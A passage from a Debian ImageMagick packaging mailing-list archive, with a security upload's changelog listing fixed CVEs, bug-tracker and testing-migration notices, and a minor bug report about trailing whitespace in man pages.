 752aa4d804c3efbab1be821483cf05cda548765c 8516 imagemagick_6.9.11.60+dfsg-1.6+deb12u11_source.buildinfo
Checksums-Sha256:
 bc7cfc2484b72d4791be7785a0a251c8d55508975f70d794bd14cee73d06caef 5134 imagemagick_6.9.11.60+dfsg-1.6+deb12u11.dsc
 472fb516df842ee9c819ed80099c188463b9e961303511c36ae24d0eaa8959c4 9395144 imagemagick_6.9.11.60+dfsg.orig.tar.xz
 7782105ca00f7a22dbc353b37b5da89414379545defce3986e0e1726631afd82 337148 imagemagick_6.9.11.60+dfsg-1.6+deb12u11.debian.tar.xz
 b37363b9b3877324003befe138e26b3bddc09c2fb41e4e0969893504b0d72142 8516 imagemagick_6.9.11.60+dfsg-1.6+deb12u11_source.buildinfo
Files:
 399311662b1e0251a24ec17ff9df279c 5134 graphics optional imagemagick_6.9.11.60+dfsg-1.6+deb12u11.dsc
 8b8f7b82bd1299cf30aa3c488c46a3cd 9395144 graphics optional imagemagick_6.9.11.60+dfsg.orig.tar.xz
 d36a95688c1ef54ade52609eafa870bb 337148 graphics optional imagemagick_6.9.11.60+dfsg-1.6+deb12u11.debian.tar.xz
 a3d8eeeab7895c18dcef5af365f63dc7 8516 graphics optional imagemagick_6.9.11.60+dfsg-1.6+deb12u11_source.buildinfo

-----BEGIN PGP SIGNATURE-----


fmmO44rm/2n9Bb/UqAjBVIHjhCqFDE+h7tyXqGR+LvCC+tDwHWE=
=0a1r
-----END PGP SIGNATURE-----

-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 228 bytes
Desc: not available
URL: <http://alioth-lists.debian.net/pipermail/pkg-gmagick-im-team/attachments/20260623/575d809f/attachment.sig>

From ftpmaster at ftp-master.debian.org  Wed Jun 24 22:02:59 2026
From: ftpmaster at ftp-master.debian.org (Debian FTP Masters)
Date: Wed, 24 Jun 2026 21:02:59 +0000
Subject: [Pkg-gmagick-im-team]
 imagemagick_6.9.11.60+dfsg-1.6+deb12u11_source.changes ACCEPTED into
 oldstable-proposed-updates
Message-ID: <E1wcUkN-00000001590-3puf@fasolo.debian.org>

Thank you for your contribution to Debian.



Accepted:

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Format: 1.8
Date: Sun, 21 Jun 2026 15:40:05 +0200
Source: imagemagick
Architecture: source
Version: 8:6.9.11.60+dfsg-1.6+deb12u11
Distribution: bookworm-security
Urgency: high
Maintainer: ImageMagick Packaging Team <pkg-gmagick-im-team at lists.alioth.debian.org>
Changed-By: Bastien Roucari?s <rouca at debian.org>
Closes: 1140176
Changes:
 imagemagick (8:6.9.11.60+dfsg-1.6+deb12u11) bookworm-security; urgency=high
 .
   * Fix CVE-2026-48733:
     An infinite loop in the subimage-search operation can happen
     when using a crafted image.
   * Fix CVE-2026-48734:
     A crafted MVG file could result in a stack overflow due to a missing depth
     or visited-set check
   * Fix CVE-2026-48994:
     A missing check of a return value could lead to a heap buffer over-write in the MAT
     decoder on 32-bit systems.
   * Fix CVE-2026-49218:
     A missing check in the DCM decoder could result in an image with invalid dimensions
     and that could cause crashes in other operation.
   * Fix CVE-2026-53460:
     A missing check for maximum memory request in AcquireAlignedMemory
     could trigger an out-of-Memory condition.
   * Fix CVE-2026-53463:
     When passing incorrect arguments in the distort operation a
     null pointer deference will occur.
   * Fix default policy.xml HTTP/HTTPS/URL delegate rules are no-ops
     (Closes: #1140176)
Checksums-Sha1:
 c3f16669cff11f4e0b18a0d86d3bfd20477243b3 5134 imagemagick_6.9.11.60+dfsg-1.6+deb12u11.dsc
 824a63dce5e54bd8b78077d671d8ab06300a8848 9395144 imagemagick_6.9.11.60+dfsg.orig.tar.xz
 3886314169eaaacb6cccab42640a3d03688f480d 337148 imagemagick_6.9.11.60+dfsg-1.6+deb12u11.debian.tar.xz
 752aa4d804c3efbab1be821483cf05cda548765c 8516 imagemagick_6.9.11.60+dfsg-1.6+deb12u11_source.buildinfo
Checksums-Sha256:
 bc7cfc2484b72d4791be7785a0a251c8d55508975f70d794bd14cee73d06caef 5134 imagemagick_6.9.11.60+dfsg-1.6+deb12u11.dsc
 472fb516df842ee9c819ed80099c188463b9e961303511c36ae24d0eaa8959c4 9395144 imagemagick_6.9.11.60+dfsg.orig.tar.xz
 7782105ca00f7a22dbc353b37b5da89414379545defce3986e0e1726631afd82 337148 imagemagick_6.9.11.60+dfsg-1.6+deb12u11.debian.tar.xz
 b37363b9b3877324003befe138e26b3bddc09c2fb41e4e0969893504b0d72142 8516 imagemagick_6.9.11.60+dfsg-1.6+deb12u11_source.buildinfo
Files:
 399311662b1e0251a24ec17ff9df279c 5134 graphics optional imagemagick_6.9.11.60+dfsg-1.6+deb12u11.dsc
 8b8f7b82bd1299cf30aa3c488c46a3cd 9395144 graphics optional imagemagick_6.9.11.60+dfsg.orig.tar.xz
 d36a95688c1ef54ade52609eafa870bb 337148 graphics optional imagemagick_6.9.11.60+dfsg-1.6+deb12u11.debian.tar.xz
 a3d8eeeab7895c18dcef5af365f63dc7 8516 graphics optional imagemagick_6.9.11.60+dfsg-1.6+deb12u11_source.buildinfo

-----BEGIN PGP SIGNATURE-----


fmmO44rm/2n9Bb/UqAjBVIHjhCqFDE+h7tyXqGR+LvCC+tDwHWE=
=0a1r
-----END PGP SIGNATURE-----

-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 228 bytes
Desc: not available
URL: <http://alioth-lists.debian.net/pipermail/pkg-gmagick-im-team/attachments/20260624/25924aab/attachment.sig>

From owner at bugs.debian.org  Wed Jun 24 22:05:04 2026
From: owner at bugs.debian.org (Debian Bug Tracking System)
Date: Wed, 24 Jun 2026 21:05:04 +0000
Subject: [Pkg-gmagick-im-team] Bug#1140176: marked as done (imagemagick:
 default policy.xml HTTP/HTTPS/URL delegate rules are no-ops (SSRF, CWE-918))
References: <E1wcUkN-00000001598-4BQ4@fasolo.debian.org>
 <CACim88aE5f6EXSusWwD=UghbWdMJBhX6dLqR9DRAnj6O93M48Q@mail.gmail.com>
Message-ID: <handler.1140176.D1140176.17823349841107224.ackdone@bugs.debian.org>

Your message dated Wed, 24 Jun 2026 21:02:59 +0000
with message-id <E1wcUkN-00000001598-4BQ4 at fasolo.debian.org>
and subject line Bug#1140176: fixed in imagemagick 8:6.9.11.60+dfsg-1.6+deb12u11
has caused the Debian Bug report #1140176,
regarding imagemagick: default policy.xml HTTP/HTTPS/URL delegate rules are no-ops (SSRF, CWE-918)
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact owner at bugs.debian.org
immediately.)


-- 
1140176: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1140176
Debian Bug Tracking System
Contact owner at bugs.debian.org with problems
-------------- next part --------------
An embedded message was scrubbed...
From: Maram Sai Harsha Vardhan Reddy <maramsaiharsha24 at gmail.com>
Subject: imagemagick: default policy.xml HTTP/HTTPS/URL delegate rules are no-ops (SSRF, CWE-918)
Date: Wed, 17 Jun 2026 01:45:32 +0530
Size: 14225
URL: <http://alioth-lists.debian.net/pipermail/pkg-gmagick-im-team/attachments/20260624/9f58c884/attachment-0002.eml>
-------------- next part --------------
An embedded message was scrubbed...
From: Debian FTP Masters <ftpmaster at ftp-master.debian.org>
Subject: Bug#1140176: fixed in imagemagick 8:6.9.11.60+dfsg-1.6+deb12u11
Date: Wed, 24 Jun 2026 21:02:59 +0000
Size: 8236
URL: <http://alioth-lists.debian.net/pipermail/pkg-gmagick-im-team/attachments/20260624/9f58c884/attachment-0003.eml>

From noreply at release.debian.org  Sun Jun 28 05:39:14 2026
From: noreply at release.debian.org (Debian testing watch)
Date: Sun, 28 Jun 2026 04:39:14 +0000
Subject: [Pkg-gmagick-im-team] imagemagick 8:7.1.2.25+dfsg1-2 MIGRATED to
 testing
Message-ID: <E1wdhIY-00HUaU-0u@respighi.debian.org>

FYI: The status of the imagemagick source package
in Debian's testing distribution has changed.

  Previous version: 8:7.1.2.24+dfsg1-1
  Current version:  8:7.1.2.25+dfsg1-2

-- 
This email is automatically generated once a day.  As the installation of
new packages into testing happens multiple times a day you will receive
later changes on the next day.
See https://release.debian.org/testing-watch/ for more information.


From bjarniig at simnet.is  Tue Jun 30 12:18:30 2026
From: bjarniig at simnet.is (Bjarni Ingi Gislason)
Date: Tue, 30 Jun 2026 11:18:30 +0000
Subject: [Pkg-gmagick-im-team] imagemagick-7.q16,
 man pages: trailing whitespace
Message-ID: <178276215775.5094.9322923055582118120.reportbug@kassi.invalid.is>

Package: imagemagick-7.q16
Version: 8:7.1.2.25+dfsg1-2
Severity: minor

  Additional remarks.

  Mails from me to "submit at bugs.debian.org" are no longer acknowledged.  A
Debian maintainer told me, that he would contact the mail administrator
about me not wanting to send bugs upstream.

-.-

Dear Maintainer,

   * What led up to the situation?

     Checking for defects with a new version

test-[g|n]roff -mandoc -t -K utf8 -rF0 -rHY=0 -rCHECKSTYLE=0 -ww -z < "man page"

  [Use 

grep -n -e ' $' -e '\\~$' -e ' \\f.$' -e ' \\"' -e ' "$' <file>

  to find (most) trailing spaces.]

  ["test-groff" is a script in the repository for "groff"; is not shipped]
(local copy and "troff" slightly changed by me).

  [The fate of "test-nroff" was decided in groff bug #55941.]

   * What was the outcome of this action?

Output from "test-groff  -mandoc  -K utf8 -rF0 -rHY=0 -rCHECKSTYLE=0 -ww -z ":

troff:/tmp/gz.roff.vvH4sj:91: warning: trailing whitespace [-w trail]
troff:/tmp/gz.roff.vvH4sj:95: warning: trailing whitespace [-w trail]
/usr/share/man/man1/animate-im7.q16.1.gz

troff:/tmp/gz.roff.O27Cyw:83: warning: trailing whitespace [-w trail]
/usr/share/man/man1/composite-im7.q16.1.gz

troff:/tmp/gz.roff.QA0HUS:145: warning: trailing whitespace [-w trail]
troff:/tmp/gz.roff.QA0HUS:215: warning: trailing whitespace [-w trail]
/usr/share/man/man1/convert-im7.q16.1.gz

troff:/tmp/gz.roff.8r757J:127: warning: trailing whitespace [-w trail]
/usr/share/man/man1/display-im7.q16.1.gz

troff:/tmp/gz.roff.jsDDoh:63: warning: trailing whitespace [-w trail]
/usr/share/man/man1/identify-im7.q16.1.gz

troff:/tmp/gz.roff.lv4xpU:54: warning: trailing whitespace [-w trail]
troff:/tmp/gz.roff.lv4xpU:78: warning: trailing whitespace [-w trail]
/usr/share/man/man1/import-im7.q16.1.gz

troff:/tmp/gz.roff.bmEWe5:130: warning: trailing whitespace [-w trail]
troff:/tmp/gz.roff.bmEWe5:143: warning: trailing whitespace [-w trail]
troff:/tmp/gz.roff.bmEWe5:212: warning: trailing whitespace [-w trail]
/usr/share/man/man1/mogrify-im7.q16.1.gz

   * What outcome did you expect instead?

     No output (no warnings).

-.-

  General remarks and further material, if a diff-file exist, are in the
attachments.


-- System Information:
Debian Release: forky/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: amd64 (x86_64)

Kernel: Linux 7.0.13+deb14-amd64 (SMP w/2 CPU threads; PREEMPT)
Locale: LANG=is_IS.iso88591, LC_CTYPE=is_IS.iso88591 (charmap=ISO-8859-1), LANGUAGE not set
Shell: /bin/sh linked to /usr/bin/dash
Init: sysvinit (via /sbin/init)

Versions of packages imagemagick-7.q16 depends on:
ii  hicolor-icon-theme      0.18-2
ii  libc6                   2.42-17
ii  libmagickcore-7.q16-10  8:7.1.2.25+dfsg1-2
ii  libmagickwand-7.q16-10  8:7.1.2.25+dfsg1-2

Versions of packages imagemagick-7.q16 recommends:
ii  ghostscript                   10.07.1~dfsg-1
pn  libmagickcore-7.q16-10-extra  <none>
ii  netpbm                        2:11.13.03+ds-2

Versions of packages imagemagick-7.q16 suggests:
pn  autotrace                            <none>
pn  cups-bsd | lpr | lprng               <none>
ii  curl                                 8.20.0-5
pn  enscript                             <none>
pn  ffmpeg                               <none>
pn  gimp                                 <none>
ii  gnuplot                              6.0.3+dfsg1-1
ii  gnuplot-qt [gnuplot]                 6.0.3+dfsg1-1
pn  grads                                <none>
pn  graphviz                             <none>
ii  groff-base                           1.24.1-1
pn  hp2xx                                <none>
pn  html2ps                              <none>
ii  imagemagick-7-doc                    8:7.1.2.25+dfsg1-2
pn  libraw-bin                           <none>
pn  libwmf-bin                           <none>
pn  mplayer                              <none>
pn  povray                               <none>
pn  radiance                             <none>
pn  sane-utils                           <none>
ii  texlive-binaries [texlive-base-bin]  2026.20260303.78225+ds-4
pn  transfig                             <none>
ii  xdg-utils                            1.2.1-2

-- no debconf information
-------------- next part --------------
  Check the output from "lintian" in the Debian distribution.

  Any program (person), that produces man pages, should check the output
for defects by using (both groff and nroff)

[gn]roff -mandoc -t -ww -b -z -K utf8 <man page>

  To find most trailing spaces use

grep -n -e ' $' -e ' \\f.$' -e ' \\"' -e ' "$' <man page>

  The same goes for man pages that are used as an input.

-.-

  For a style guide use

  mandoc -T lint

-.-

  For general input conventions consult the man page "nroff(7)" (item
"Input conventions") or the Texinfo manual about the same item.

-.-

  Any "autogenerator" should check its products with the above mentioned
'groff', 'mandoc', and additionally with 'nroff ...'.

  It should also check its input files for too long (> 80) lines.

  This is just a simple quality control measure.

  The "autogenerator" may have to be corrected to get a better man page,
the source file may, and any additional file may.

-.-

  Common defects:

  Not removing trailing spaces (in in- and output).
  The reason for these trailing spaces should be found and eliminated.

  "git" has a "tool" to point out whitespace,
see for example "git-apply(1)" and git-config(1)")

-.-

  Not beginning each input sentence on a new line.

Line length and patch size should thus be reduced when that has been fixed.

  The script "reportbug" uses 'quoted-printable' encoding when a line is
longer than 1024 characters in an 'ascii' file.

  See man-pages(7), item "semantic newline".

-.-

The difference between the formatted output of the original
and patched file can be seen with:

  nroff -mandoc <file1> > <out1>
  nroff -mandoc <file2> > <out2>
  diff -d -u <out1> <out2>

and for groff, using

\"printf '%s\n%s\n' '.kern 0' '.ss 12 0' | groff -mandoc -Z - \"

instead of 'nroff -mandoc'

  Add the option '-t', if the file contains a table.

  Read the output from 'diff -d -u ...' with 'less -R' or similar.

-.-.

  If 'man' (man-db) is used to check the manual for warnings,
the following must be set:

  The option "-warnings=w"

  The environmental variable:

export MAN_KEEP_STDERR=yes (or any non-empty value)

  or

  (produce only warnings):

export MANROFFOPT="-ww -b -z"

export MAN_KEEP_STDERR=yes (or any non-empty value)

-.-
-------------- next part --------------
An embedded message was scrubbed...
From: unknown sender
Subject: clean files of trailing whitespace
Date: no date
Size: 498
URL: <http://alioth-lists.debian.net/pipermail/pkg-gmagick-im-team/attachments/20260630/d9f4e142/attachment.eml>

